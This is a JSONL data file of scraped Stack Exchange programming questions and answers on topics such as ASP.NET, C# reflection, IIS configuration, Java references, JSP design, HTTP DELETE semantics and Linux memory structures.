"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.220364"}
{"id": "hf_3b0fc0f62a6b", "question": "<p>For an ASP.NET application, what is the Best Practice implementation method for a custom swear word remover/replacer?</p>\n\n<p>If this is a data table solution, is there free resource to get the data? (Similar to finding a public dictionary table that you can import to your system for spellchecking)</p>\n", "question_body": "", "answer": "Obscenity Filters: Bad Idea, or Incredibly Intercoursing Bad Idea?\n^_^\nAlso see\nHow do you implement a good profanity filter?\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.245230"}
{"id": "hf_1dc8e34efd20", "question": "<p>I need to query Active Directory for a list of users whose password is about to expire.  The obvious (and easy) way to do this is with:</p>\n\n<pre><code>dsquery user -stalepwd n \n</code></pre>\n\n<p>The problem is that I need to add additional filters to only look for users who are in certain security groups.  This is hard to do with the \"dsquery user\" syntax that has the built-in -stalepwd option, so I've been using the \"dsquery * -filter\" option which allows you to use LDAP query syntax.  Unfortunately, while its relatively easy to do apply the other filters with an LDAP query, I'm having trouble filtering users who have a password age greater than n.</p>\n\n<p>Does anyone know the syntax (or if it is even possible) to filter for old passwords using the \"dsquery * -filter\" method instead of the \"dsquery user -stalepwd\" method.</p>\n", "question_body": "", "answer": "There are better tools than dsquery to use.\nFindExpAcc\nfrom joeware will do the same as stalepwd and allow a filter through its -f switch.\nThe filter would then look like:\n```\n```\n&(objectCategory=user)(memberof=CN=User Group,OU=Test,DC=foo,dc=com)\n```\n```\nAlso check out adfind and admod tools from\njoeware\nwhich are more powerful than the command line query tools from Microsoft, but can be a little harder to learn.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.326589"}
{"id": "hf_51afae58d09d", "question": "<p>What steps do I take? Any gotchas to be aware of or tips to enhance the IDE experience that are specific to SQL Server when using Emacs?</p>\n", "question_body": "", "answer": "Connecting\nTo connect to a SQL Server database instance from Emacs:\n```\n```\nM-x sql-ms RET\nM-x sql-mode\n```\n```\nYou will be prompted for standard connection information specifically the following:\nUser\nPassword\nServer\nDatabase\nFor SQL Server Authentication, type in the necessary user and password info. However, if connecting via Windows Authentication, then press RETURN for both user and password leaving them blank.\nViewing Output Results\nNote that to see the text of any output results in the *SQL* buffer, the 'go' statement should be called at some point. A couple of ways of doing this.\nFor example, this sql statement will execute but it will not show any result text in the  *SQL* buffer in its current format:\n```\n```\nselect 'foo' as bar\n```\n```\nHowever, if a 'go' is appended to the end:\n```\n```\nselect 'foo' as bar\ngo\n```\n```\nthe following will be displayed in the *SQL* buffer:\n```\n```\nbar   \n ----- \n foo\n\n(1 row affected)\n```\n```\nAlternatively, if you do not want to have 'go' statements littering the text of your SQL script then call 'go' on the fly to see all output results since the last time that the previous 'go' statement was sent to the sql process:\n```\n```\nC-c C-s go RET\n```\n```\nThis is helpful if you need to view any error messages that might not initially show in the *SQL* buffer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.397495"}
{"id": "hf_95ad424a22c9", "question": "<p>In C# is there a technique using reflection to determine if a method has been added to a class as an extension method?</p>\n\n<p>Given an extension method such as the one shown below is it possible to determine that Reverse() has been added to the string class?</p>\n\n<pre><code>public static class StringExtensions\n{\n    public static string Reverse(this string value)\n    {\n        char[] cArray = value.ToCharArray();\n        Array.Reverse(cArray);\n        return new string(cArray);\n    }\n}\n</code></pre>\n\n<p>We're looking for a mechanism to determine in unit testing that the extension method was appropriately added by the developer.  One reason to attempt this is that it is possible that a similar method would be added to the actual class by the developer and, if it was, the compiler will pick that method up.</p>\n", "question_body": "", "answer": "You have to look in all the assemblies where the extension method may be defined.\nLook for classes decorated with\n```\nExtensionAttribute\n```\n, and then methods within that class which are\nalso\ndecorated with\n```\nExtensionAttribute\n```\n. Then check the type of the first parameter to see if it matches the type you're interested in.\nHere's some complete code. It could be more rigorous (it's not checking that the type isn't nested, or that there is at least one parameter) but it should give you a helping hand.\n```\n```\nusing System;\nusing System.Runtime.CompilerServices;\nusing System.Reflection;\nusing System.Linq;\nusing System.Collections.Generic;\n\npublic static class FirstExtensions\n{\n    public static void Foo(this string x) {}\n    public static void Bar(string x) {} // Not an ext. method\n    public static void Baz(this int x) {} // Not on string\n}\n\npublic static class SecondExtensions\n{\n    public static void Quux(this string x) {}\n}\n\npublic class Test\n{\n    static void Main()\n    {\n        Assembly thisAssembly = typeof(Test).Assembly;\n        foreach (MethodInfo method in GetExtensionMethods(thisAssembly,\n            typeof(string)))\n        {\n            Console.WriteLine(method);\n        }\n    }\n\n    static IEnumerable<MethodInfo> GetExtensionMethods(Assembly assembly,\n        Type extendedType)\n    {\n        var query = from type in assembly.GetTypes()\n                    where type.IsSealed && !type.IsGenericType && !type.IsNested\n                    from method in type.GetMethods(BindingFlags.Static\n                        | BindingFlags.Public | BindingFlags.NonPublic)\n                    where method.IsDefined(typeof(ExtensionAttribute), false)\n                    where method.GetParameters()[0].ParameterType == extendedType\n                    select method;\n        return query;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.421790"}
{"id": "hf_15489d681324", "question": "<p>Is it possible to create an integer (or DataTime, etc) column in ListView? It is quite important, because I would like to properly sort the list according to this column.</p>\n\n<p>The only way to add subItems to a ListViewItem I found are:</p>\n\n<pre><code>listviewitem.SubItems.Add(\"1\");\n</code></pre>\n\n<p>I would like to avoid parsing these strings to get the int representation for every sort!</p>\n", "question_body": "", "answer": "Rather than that you just add strings to the list and receive strings by using\n```\n.Text\n```\nproperty.\nExample:\n```\n```\nint a = 0;\nlistView1.Items.Add(a.ToString());\n```\n```\nor\n```\n```\nint a = Convert.ToInt32(listView1.Items[0].SubItems[0].Text);\n```\n```\nYou can do this same with\n```\nDataTime\n```\nand other datatypes, just by converting them to\n```\nString\n```\ntype.\nHow you interpret the column containing i.e dates it fully depends of you.\nJust implement your algorithm of sorting particular\n```\nListView\n```\ncolumn.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.472207"}
{"id": "hf_afd3bab7bd79", "question": "<p>I can query the AD and find all the IIS sites and their virtual directories, now I need to be able to update those home directories and save the changes.</p>\n\n<p>After I fetch the directory entry I can display the site path using <code>$site.Path</code>, however setting it doesn't seem to have any effect.  It never changes the actual stored path.  </p>\n\n<p>I have tried <code>$site.Path = &lt;new path&gt;</code> and <code>$site.Put( \"Path\", &lt;new path&gt; )</code> but neither have these seem to be affecting the stored path.</p>\n\n<pre><code>    $site = $iis.psbase.children | \n        where {$_.keyType -eq \"iiswebserver\"} | \n        where {$_.psbase.properties.servercomment -eq $siteConfig.name };\n\n    $s = [ADSI]($site.psbase.path + \"/ROOT\");\n    $s.Path\n    # $s.Path = $siteConfig.path\n    # $s.Put(\"Path\", $siteConfig.path )\n    $s.psbase.CommitChanges()\n</code></pre>\n", "question_body": "", "answer": "Ok, I tried this and it seems to work:\n```\n```\n$s.psbase.properties.path[0] = $siteConfig.path\n    $s.psbase.CommitChanges()\n```\n```\nIs there a better cleaner way of handling this?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.506649"}
{"id": "hf_374845e156c0", "question": "<p>I don't understand why one method would work and the other would throw a NoMethodError if they come from the same lib file.</p>\n\n<pre><code># app/views/bunnies/show.html.erb\n&lt;% if logged_in? %&gt;\n  &lt;%= current_user.login %&gt; |\n  &lt;%= link_to 'Logout', logout_path %&gt; |\n  &lt;% if authorized? %&gt;\n    &lt;%= link_to 'Edit Details', edit_bunny_path(@broker) %&gt; |\n  &lt;% end %&gt;\n  &lt;%= link_to 'Back', bunnies_path %&gt;\n&lt;% end %&gt;\n</code></pre>\n\n<p>... throws a NoMethodError for <code>authorized?</code>.  If I comment that if block out, the page works fine (with <code>logged<code>_</code>in?</code>).</p>\n\n<pre><code># lib/authenticated_system.rb\ndef logged_in?\n  !!current_user\nend\n\ndef authorized?\n  current_user.login == \"admin\"\nend\n\n# app/controllers/application.rb\nclass ApplicationController &lt; ActionController::Base\n  include AuthenticatedSystem\nend\n</code></pre>\n\n<p>What gives?</p>\n", "question_body": "", "answer": "Right, so I still  don't understand why that wasn't working, but I have found an alternative solution.\n(1) Leave authenticated_system.rb as is.\n(2) Add a helper method to controllers/application.rb:\n```\n```\nhelper_method :is_admin?\ndef is_admin?\n  if logged_in? && current_user.login == \"admin\"\n    true\n  else\n    false\n  end\nend\n```\n```\n(3) Use the helper method instead of\n```\nauthorized?\n```\n.  If anyone would like to explain why the original code wasn't working, I'm all ears!\n(Thanks to\nthis post\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.563051"}
{"id": "hf_9d86dd22f401", "question": "<p>I am compiling a legacy C code here and there is a lot of variables and struct members named \"interface\", but VC2008 express is complaining about these, do you know how to disable this?</p>\n\n<p>I already changed settings to compile the code only as a C code, but no effect on this.</p>\n", "question_body": "", "answer": "Do a\n```\n```\n#define interface QQInterface\n```\n```\nbefore your code (eg. in the header file), this way everywhere where the keyword interface is used, the compilers sees \"QQInterface\", which is not a keyword. If all code includes this define, you will not get compiler or linker errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.585685"}
{"id": "hf_0b1e441aabc8", "question": "<p>If I have the following setting in my app.config file.  It is a setting I need to make sure my WCF client can negotiate the default proxy server.</p>\n\n<pre><code>&lt;system.net&gt;\n    &lt;defaultProxy enabled=\"true\" useDefaultCredentials=\"true\"&gt;&lt;/defaultProxy&gt;\n&lt;/system.net&gt;\n</code></pre>\n\n<p>Unfortunately, I can't add to the app.config file in my environment.  How do I ensure these settings by setting them at runtime?</p>\n", "question_body": "", "answer": "Whatever the defined name of your executable (not a library dll) assembly is,  add a \".config\" at the end...\nso if your executable is to be\nAcmeWidgets.EastCoast.MyApplicationName.exe\nThen the app.config will get renamed to\nAcmeWidgets.EastCoast.MyApplicationName.exe.config\nHowever, I wouldn't recommend you attempt to dynamically change these settings (in the config file on disk)  at runtime...\ninstead, can you code your app so that it instead populates and uses static variables from these config settings... and then implement the dynamic \"change the value\" functionality so that it changes these static variables...\nThis way you can still \"affect\" the runtime behavior dynamically, but avoid the hassle of writing to the config file, and Ops management can manage the \"default\" values in the config file by editing it...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.609405"}
{"id": "hf_55aced9ea83b", "question": "<p>I have an XML file and an XML schema in another file and I'd like to validate that my XML file adheres to the schema.  How do I do this in Python?</p>\n\n<p>I'd prefer something using the standard library, but I can install a third-party package if necessary.</p>\n", "question_body": "", "answer": "lxml provides etree.DTD\nfrom the tests on\nhttp://lxml.de/api/lxml.tests.test_dtd-pysrc.html\n```\n```\n...\nroot = etree.XML(_bytes(\"<b/>\")) \ndtd = etree.DTD(BytesIO(\"<!ELEMENT b EMPTY>\")) \nself.assert_(dtd.validate(root))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.656777"}
{"id": "hf_476cbece847d", "question": "<p>To implement data access code in our application we need some framework to wrap around jdbc (ORM is not our choice, because of scalability).</p>\n\n<p>The coolest framework I used to work with is <a href=\"http://static.springframework.org/spring/docs/2.5.x/reference/jdbc.html\" rel=\"noreferrer\">Spring-Jdbc</a>. However, the policy of my company is to avoid external dependencies, especially spring, J2EE, etc.\nSo we are thinking about writing own handy-made jdbc framework, with functionality similar Spring-jdbc: row mapping, error handling, supporting features of java5, but without transaction support.</p>\n\n<p>Does anyone have experience of writing such jdbc wrapper framework?\nIf anyone has experience of using other jdbc wrapper frameworks, please share your experience.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "Spring-JDBC is fantastic.  Consider that for an open source project like Spring the down side of external dependency is minimized.  You can adopt the most stable version of Spring that satisfies your JDBC abstraction requirements and you know that you'll always be able to modify the source code yourselves if you ever run into an issue -- without depending on an external party.  You can also examine the implementation for any security concerns that your organization might have with code written by an external party.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.680644"}
{"id": "hf_aaa44e72ca2f", "question": "<p>We're trying to send an image of a large SWF file to a server to have it mailed out and we're having a bit of trouble with transmission time. </p>\n\n<p>The SWF is about 900px x 600px and restricted to AS2 so we've been using this Bitmap Exporter class. We've tried using several different ways to transmit the data; base10, base36 and base128 but none of them will send the file in any kind of timely manner.</p>\n\n<p>Right now we're dealing with 60-120 seconds per image which isn't acceptable.</p>\n\n<p>Has anyone any advice for dealing with either this class or another for sending large bitmap data to a server with flash?</p>\n\n<p>Thank you for your time.</p>\n", "question_body": "", "answer": "The reason you get such long upload times is that the image is barely compressed (or not at all depending on how the class is implemented). 900 by 600 pixels at 16 bpp (or whatever it now is flash uses) amounts to something like 1.5mb of raw data.\nI'm doubtful that there are any useful compression libraries for AS2, but that\nmay\nbe a possible path.\nThe easiest way to make the image smaller on the client side would be lowering the resolution. Are you using the full resolution once it reaches the server? If not that might be a possible way.\n(I guess you're aware that this would be way easier using AS3, then you could compress the whole image as a jpeg clientside without very much effort, but I guess the rest of your application is AS2 making that a somewhat moot point)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.703863"}
{"id": "hf_71b04700607d", "question": "<p>My current project involves deploying an upgraded .exe file that runs as a Windows Service.  In order to overwrite the existing .exe with the new version, I currently need to:</p>\n\n<ol>\n<li>Stop the service</li>\n<li>Uninstall the service</li>\n<li>Reboot the system (so Windows releases it's hold on the file)</li>\n<li>Deploy the new .exe</li>\n<li>Reinstall the service</li>\n<li>Start the upgraded service.</li>\n</ol>\n\n<p>I'd like to avoid the reboot, so that this can be a fully scripted/automated upgrade.</p>\n\n<p>Is there any way to avoid rebooting?  Maybe a command-line tool that will force Windows to give up it's death grip on the old .exe?</p>\n", "question_body": "", "answer": "Are you not able to stop the service before the update (and restart after the update) using the commands below?\n```\n```\nnet stop <service name>\nnet start <service name>\n```\n```\nWhenever I'm testing/deploying a service I'm able to upload files without reinstalling as long as the service is stopped.  I'm not sure if the issue you are having is different.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.726803"}
{"id": "hf_2a839236d561", "question": "<p>What is the most direct and/or efficient way to convert a <code>char[]</code> into a <code>CharSequence</code>? </p>\n", "question_body": "", "answer": "A\n```\nString\n```\nis a\n```\nCharSequence\n```\n.  So you can just create a new\n```\nString\n```\ngiven your\n```\nchar[]\n```\n.\n```\n```\nCharSequence seq = new String(arr);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.750566"}
{"id": "hf_9fbbf6e088d5", "question": "<p>I want to send an array constructed in javascript with the selected values of a multiple select. Is there a way to send this array to a php script using ajax?</p>\n", "question_body": "", "answer": "You can post back to your server with XML or JSON. Your javascript will have to construct the post, which in the case of XML would require you to create it in javascript.  JSON is not only lighterweight but easier to make in javascript.  Check out\nJSON-PHP\nfor parsing JSON.\nYou might want to take a look at\nCreating JSON Data in PHP", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.784793"}
{"id": "hf_9e4b0993ce52", "question": "<p>I'd like to write a plugin that does something with the currently edited file in Eclipse. But I'm not sure how to properly get the file's full path.</p>\n\n<p>This is what I do now:</p>\n\n<pre><code>IFile file = (IFile) window.getActivePage().getActiveEditor.getEditorInput().\n    getAdapter(IFile.class);\n</code></pre>\n\n<p>Now I have an IFile object, and I can retrieve it's path:</p>\n\n<pre><code>file.getFullPath().toOSString();\n</code></pre>\n\n<p>However this still only gives me the path relative to the workspace. How can I get the absolute path from that?</p>\n", "question_body": "", "answer": "Looks like you want\n```\nIResource.getRawLocation()\n```\n.  That returns an\n```\nIPath\n```\n, which also has a\n```\nmakeAbsolute()\n```\nmethod if you want to be doubly sure you've got an absolute path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.819638"}
{"id": "hf_9a8b8009b845", "question": "<p>When issuing an HTTP DELETE request, the request URI should completely identify the resource to delete. However, is it allowable to add extra meta-data as part of the entity body of the request?</p>\n", "question_body": "", "answer": "The spec\ndoes not explicitly forbid or discourage it, so I would tend to say it is allowed.\nMicrosoft sees it the same way (I can hear murmuring in the audience), they state in the MSDN article about the\nDELETE Method of ADO.NET Data Services Framework\n:\nIf a DELETE request includes an entity body, the body is ignored [...]\nAdditionally here is what\nRFC2616\n(HTTP 1.1) has to say in regard to requests:\nan\nentity-body\nis only present when a\nmessage-body\nis present (section 7.2)\nthe presence of a\nmessage-body\nis signaled by the inclusion of a\n```\nContent-Length\n```\nor\n```\nTransfer-Encoding\n```\nheader (section 4.3)\na\nmessage-body\nmust not be included when the specification of the request method does not allow sending an\nentity-body\n(section 4.3)\nan\nentity-body\nis explicitly forbidden in TRACE requests only, all other request types are unrestricted (section 9, and 9.8 specifically)\nFor responses, this has been defined:\nwhether a\nmessage-body\nis included depends on both request method\nand\nresponse status (section 4.3)\na\nmessage-body\nis explicitly forbidden in responses to HEAD requests (section 9, and 9.4 specifically)\na\nmessage-body\nis explicitly forbidden in 1xx (informational), 204 (no content), and 304 (not modified) responses  (section 4.3)\nall other responses include a message-body, though it may be of zero length  (section 4.3)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.856319"}
{"id": "hf_45fc86667ba1", "question": "<p>Does anyone know a good tool that can be run on a page (for asp.net, for example) to help to minimize the footprint size of the page?</p>\n\n<p>The page will have typical items: HTML, Javascript, etc.</p>\n\n<p>I've heard of Javascript crunchers in the past, that will make the size of the code as compact as possible (and obfuscate it, I suppose).</p>\n\n<p>The goal is to help optimize the page size (make it as small as possible for speed, without changing anything).</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "Well, its not a automatic cleaner-upper, but I like\nYSlow\nfor optimizing pages.  And the\nYUI Compressor\ncan minify your javascript.\nIf you're really interested in javascript, the keyword is \"minify\".\nAlso, look at this question just posted:\nHTML and stuff\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.881513"}
{"id": "hf_1c07da0163ba", "question": "<p>What's the difference between <a href=\"https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/lang/ref/WeakReference.html\" rel=\"noreferrer\"><code>java.lang.ref.WeakReference</code></a> and <a href=\"https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/lang/ref/SoftReference.html\" rel=\"noreferrer\"><code>java.lang.ref.SoftReference</code></a> ?</p>\n", "question_body": "", "answer": "Weak references are collected eagerly. If GC finds that an object is\nweakly reachable (reachable only through weak references), it'll clear the\nweak references to that object immediately. As such, they're good for\nkeeping a reference to an object for which your program also keeps\n(strongly referenced) \"associated information\" somewere, like cached\nreflection information about a class, or a wrapper for an object, etc.\nAnything that makes no sense to keep after the object it is associated\nwith is GC-ed. When the weak reference gets cleared, it gets enqueued in a\nreference queue that your code polls somewhere, and it discards the\nassociated objects as well. That is, you keep extra information about an\nobject, but that information is not needed once the object it refers to\ngoes away. Actually, in certain situations you can even subclass\nWeakReference and keep the associated extra information about the object\nin the fields of the WeakReference subclass. Another typical use of\nWeakReference is in conjunction with Maps for keeping canonical instances.\nSoftReferences on the other hand are good for caching external, recreatable resources\nas the GC typically delays clearing them. It is guaranteed though that all\nSoftReferences will get cleared before OutOfMemoryError is thrown, so they\ntheoretically can't cause an OOME[*].\nTypical use case example is keeping a parsed form of a contents from a\nfile. You'd implement a system where you'd load a file, parse it, and keep\na SoftReference to the root object of the parsed representation. Next time\nyou need the file, you'll try to retrieve it through the SoftReference. If\nyou can retrieve it, you spared yourself another load/parse, and if the GC\ncleared it in the meantime, you reload it. That way, you utilize free\nmemory for performance optimization, but don't risk an OOME.\nNow for the [*]. Keeping a SoftReference can't cause an OOME in itself. If\non the other hand you mistakenly use SoftReference for a task a WeakReference is meant\nto be used (namely, you keep information associated with an Object somehow\nstrongly referenced, and discard it when the Reference object gets\ncleared), you can run into OOME as your code that polls the ReferenceQueue\nand discards the associated objects might happen to not run in a timely\nfashion.\nSo, the decision depends on usage\n- if you're caching information that is expensive to construct, but\nnonetheless reconstructible from other data, use soft references\n- if you're keeping a reference to a canonical instance of some data, or\nyou want to have a reference to an object without \"owning\" it (thus\npreventing it from being GC'd), use a weak reference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.916815"}
{"id": "hf_979cb22052ba", "question": "<p>This is a design question and good practice question.  How do you structure your Java web development such that a lot of logic is not in the JSP file.  Should you use any of the JSP tags for if structures or loops.  I see a lot of code where the logic is hard to follow because of poorly designed JSP files.  And then when you want to output to a different format like a PDF or XML document, you can't do it because all the logic is in the JSP file.</p>\n\n<p>Are there any tips or practices that you follow for Java Web development.</p>\n\n<p>I am currently using a combination of Spring, Hibernate, Struts...and work with some Servlet code.</p>\n\n<p>There are good practices associated with Java development.  Many of us that have worked a while know them.  What are some good practices for JSP development.</p>\n", "question_body": "", "answer": "The easiest way to avoid placing logic in JSPs is simply to perform all that logic\nbefore\nforwarding a request to a JSP. The only logic you should need to do in a JSP is some basic looping (e.g. for creating HTML table rows), evaluating conditional statements, and data formatting.\nAll of this can be done without using scriptlet code (Java code) in the JSPs by using JSP tag libraries and EL. The most important tag library is\nJSTL\n. The JSTL tag library provides most of the logic you should ever need to perform in a view, though you may occasionally also use niche 3rd party tag libraries like\ndisplaytag\nwhich can reduce the amount of JSP code you need to write for specific tasks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.940667"}
{"id": "hf_c7b779054097", "question": "<p>I'm trying to put in an exception in my web.config so that one page does not require authentication.  However, it still redirects to the login page.</p>\n\n<p><strong>The question isn't how to setup the web.config</strong>.  Why?  Our system (for better or worse) has a bunch of instrumentation besides the web.config.  We have global.asax and custom HttpHandlers.  The code base isn't huge, but there's a lot of potential causes for the redirect.</p>\n\n<p>What I do want to know is <strong>how to best determine the cause of the redirect</strong>.  Is there some way to find out what code triggered the redirect?</p>\n", "question_body": "", "answer": "Have you tried turning on Tracing?  That may help.\nHow are you specifying the page doesn't require authentication, like:\n```\n```\n<system.web>\n...\n</system.web>\n\n<location path=\"NoAuthNeeded.aspx\">\n    <system.web>\n        <authorization>\n        <allow roles=\"*\" />\n        <allow roles=\"?\" />\n        </authorization>\n    </system.web>\n</location>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.975864"}
{"id": "hf_a24a57212c17", "question": "<p>Once it is compiled, is there a difference between:</p>\n\n<pre><code>delegate { x = 0; }\n</code></pre>\n\n<p>and</p>\n\n<pre><code>() =&gt; { x = 0 }\n</code></pre>\n\n<p>?</p>\n", "question_body": "", "answer": "Short answer : no.\nLonger answer that may not be relevant:\nIf you assign the lambda to a delegate type (such as\n```\nFunc\n```\nor\n```\nAction\n```\n) you'll get an anonymous delegate.\nIf you assign the lambda to an Expression type, you'll get an expression tree instead of a anonymous delegate.  The expression tree can then be compiled to an anonymous delegate.\nEdit:\nHere's some links for Expressions.\nSystem.Linq.Expression.Expression(TDelegate)\n(start here).\nLinq in-memory with delegates (such as System.Func) uses\nSystem.Linq.Enumerable\n.  Linq to SQL (and anything else) with expressions uses\nSystem.Linq.Queryable\n.  Check out the parameters on those methods.\nAn\nExplanation from ScottGu\n.  In a nutshell, Linq in-memory will produce some anonymous methods to resolve your query.  Linq to SQL will produce an expression tree that represents the query and then translate that tree into T-SQL.  Linq to Entities will produce an expression tree that represents the query and then translate that tree into platform appropriate SQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.998862"}
{"id": "hf_3b01a6572950", "question": "<p>I'm getting quite a few errors in my code. Consequently, I would like to be able to minimize them at the outset or see as many errors as possible before code execution. Is this possible and if so, how can I do this?</p>\n", "question_body": "", "answer": "Python provides a debugger which allows you to step through your code, inspect variables and manipulate them. Refer to\nhttp://pythonconquerstheuniverse.wordpress.com/category/python-debugger/\nwhich can take you over the steps...\nAlso check the python standard library reference for pdb\nhttp://www.python.org/doc/2.5.2/lib/module-pdb.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.022917"}
{"id": "hf_2560df02b7d9", "question": "<p>In the Linux kernel, given the <code>task_struct</code>'s <code>mm</code> I can access the process's list of <code>vm_area_struct</code>s. Given these <code>vm_area_struct</code>s, how do I get the <code>struct page</code>s which actually correspond to this vma? </p>\n\n<p>I tried looking for functions in mm/memory.c and the like, but I was at a loss.</p>\n\n<p>Edit: the idea is to find which pages in the vma are currently in memory and which are not. But I <strong>don't</strong> want someone telling me how to do this bit, as that's a small part of a homework assignment that I need to figure out on my own. But I can't seem to figure out how to find the pages that correspond to this vma. If I can find the pages, I figure I can check to see if they have a valid pfn or not.</p>\n", "question_body": "", "answer": "From your comment to another answer (edit: the other answer seems to have been deleted), it seems you want to read from user space. The function to get the user space pages would be\n```\nget_user_pages()\n```\n, but that is most probably not what you want; you probably want\n```\ncopy_from_user\n```\n/\n```\ncopy_to_user\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.046761"}
